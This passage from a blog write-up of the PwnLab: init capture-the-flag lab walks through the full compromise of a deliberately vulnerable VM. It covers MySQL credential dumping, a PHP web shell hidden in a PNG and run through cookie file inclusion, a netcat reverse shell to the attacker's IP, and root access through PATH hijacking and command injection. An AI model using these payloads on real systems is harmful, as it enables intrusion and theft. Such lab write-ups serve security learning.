session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png");

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])
).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

?base64: invalid input

Not perfect output, but good enough. This one is particularly interesting in that it seems to be restricting the types of files that can be uploaded. It checks the file extension as well as the MIME type via the PHP getimagesize method. This basically means that I can’t upload a PHP web shell with .php.jpg as the extension and expect it to work.

Alright, now that I have some code, let me turn to the exposed MySQL connection and see what I can get out of it.

MySQL Enumeration

From the config.php file above, I know the password for root on MySQL is H4u%QJ_H99. Let me see what’s available:

root@dante:~# mysql -uroot -p"H4u%QJ_H99" -h 192.168.127.132 Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [Users]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.00 sec)

MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.01 sec)

MySQL [Users]>

So not a lot of extras in the MySQL server. There’s one main database, which has one table, which has encrypted passwords. I’ve copied these usernames and passwords to a CSV file and I wrote a small Python script to decrypt them:

import base64,sys

def decodePass(encoded_passwd):
    passwd = base64.b64decode(encoded_passwd)
    return passwd

with open(sys.argv[1]) as f:
    for line in f:
        (user, passwd) = line.split(',')
        print "%s: %s" % (user, decodePass(passwd))

I could have also done something like echo <password> | base64 -d to decode the passwords via the command line, but I like to flex my old programming muscles every so often. Anyways, once I run my code I get the decoded passwords:

root@dante:~/vulnhub/pwnlab# python passwd.py users.txt
kent: JWzXuBJJNy
mike: SIfdsTEn6I
kane: iSv5Ym2GRo

Now that I have the passwords, I can log in and try uploading a web shell.

Web Shell

Now the fun sets in. As I mentioned earlier, the upload.php file has a few checks to make sure I am actually uploading a file before allowing it to be saved on the server. What this means is I can’t take a standard web shell like /usr/share/webshells/php/simple-backdoor.php from Kali and rename it to simple-backdoor.php.jpg and expect it to work.

So what am I going to do? Well, the bare minimum of course! I’ll go to png-pixel.com and download a simple 1×1 pixel PNG, then append my simple-backdoor.php code to the end of it!

png-pixel.com

root@dante:~# cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-00000000.png
root@dante:~# cat 1x1-00000000.png
PNG

IHDR

   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

As you can see, the first few bytes are a valid PNG file, it’s just the tail end of the file that happens to be my “malicious” code. Now to see if this uploads:

upload PNG web shell

It works! Well, there was no error displayed, so there’s hope. Now let me check the /upload/ directory to see if I can get the new filename, since upload.php file will rename it with some MD5 hashed name:

directory listing for PNG web shell

Yes, it is definitely there! Unfortunately clicking on it will not trigger the PHP interpreter, since the MIME type for this is still a PNG file:

interpreted as just an image

However hope is not lost! Remember the index.php file from earlier? There’s a classic OWASP Injection vulnerability in the lang cookie parameter! I should be able to craft a simple curl query using the -b flag to set the cookie value to the image file I uploaded earlier. This will include the PNG file, along with the PHP web shell I added to the end of it, into the index.php code, meaning I can pass in query parameters to this URL and run them!

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=whoami
PNG

IHDR

   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<pre>www-data
</pre>

It may not be pretty, but it worked! I can see that the Apache server is running as www-data, which is expected. Now let me see if I can get a foothold on this machine.

Establishing a Foothold

First, let me see if nc is available:

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=which+nc
PNG

IHDR

   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<pre>/bin/nc
</pre>

Yes, it is available! Awesome, let me setup a listener and then execute a reverse connection using nc:

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=/bin/nc+-e+/bin/sh+192.168.127.129+9001
root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.132.
Ncat: Connection from 192.168.127.132:39649.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen
www-data@pwnlab:/var/www/html$

Success. I create a proper TTY session using Python, and export the TERM variable so I can clear the screen. Now let me go hunting for ways to escalate my privileges.

Escalating Privileges

I’m going to do some light recon before I move on to using scripts like LinEnum.sh. I’ll start by looking at what users are on the system by looking at the /etc/passwd file:

root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.132.
Ncat: Connection from 192.168.127.132:39649.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen
www-data@pwnlab:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false

So there are a few users on the system, including john, kent, mike, and kane. From the previous work with MySQL, I have passwords for three of these users. I’ll start in alphabetical order and see if kane re-used his password:

www-data@pwnlab:/var/www/html$ su kane
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/var/www/html$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 36
drwxr-x--- 2 kane kane 4096 Jun 25 11:45 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw------- 1 kane kane  303 Jun 24 21:24 .bash_history
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwxr-xr-x 1 kane kane   10 Jun 25 11:45 cat
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile
kane@pwnlab:~$

Success again! It seems there is a /home/kane/msgmike application that has the SUID bit set to mike. This is great since I did a quick check on sudo for kane, and it did not work. Let me see what this program does exactly, and then use the strings command to see if there’s anything interesting in it:

kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
<snip>
...

This is interesting. It seems to call cat on a file in /home/mike that doesn’t exist. Looking at the output of the strings command, I can see that the call to cat is relative and not absolute. What does that mean? It means I can have this application call whatever cat file I want, provided I manipulate the path. Let me do just that.

Escalating to mike

I create my own version of cat in /tmp and adjust the PATH variable accordingly before I re-run the msgmike program:

kane@pwnlab:/tmp$ echo "bash -i" > cat
echo "bash -i" > cat
kane@pwnlab:/tmp$ chmod 755 cat
chmod 755 cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ cd /home/mike
cd /home/mike
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Jun 24 21:36 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile
mike@pwnlab:/home/mike$

Excellent! We’re now logged in as mike! This new user seems to have a similar SUID/SGID program called msg2root, which feels familiar. I’m going to start with the strings command first just to see if something jumps out at me:

mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
<snip>
...

I see that there’s another one of these command line injections available, but this time it’s a bit different. Previously the cat command was relative, but here the echo command is absolute so I can’t use the same trick as before.

Escalating to root

Having said that, you can see that the string taken from the user is blindly injected into the string! The %s is a variable that substitutes the input from the user. That’s the theory at least, but I’m going to try it. I’ll inject a string like a ; /bin/sh ; #, which should give a valid value for the echo command, and then chain the /bin/sh command afterwards. The # will comment out the rest of the following command, not that it’s necessary:

mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: a ; /bin/sh ; #
a ; /bin/sh ; #
a
# cd /root
cd /root
# ls -al
ls -al
total 20
drwx------  2 root root 4096 Mar 17  2016 .
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
lrwxrwxrwx  1 root root    9 Mar 17  2016 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
----------  1 root root 1840 Mar 17  2016 flag.txt
lrwxrwxrwx  1 root root    9 Mar 17  2016 messages.txt -> /dev/null
lrwxrwxrwx  1 root root    9 Mar 17  2016 .mysql_history -> /dev/null
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
#

Get The Flag

Success! I’ve escalated to root. Now let me grab the flag (making sure that I use the absolute path to cat, or I’ll pick up my hacked one in /tmp/cat):

# /bin/cat flag.txt
/bin/cat flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

Fin.

vulnhub-hackerfest2019-nl

Protected: htb-feline-nl

This content is password protected. To view it please enter your password below:

Posted on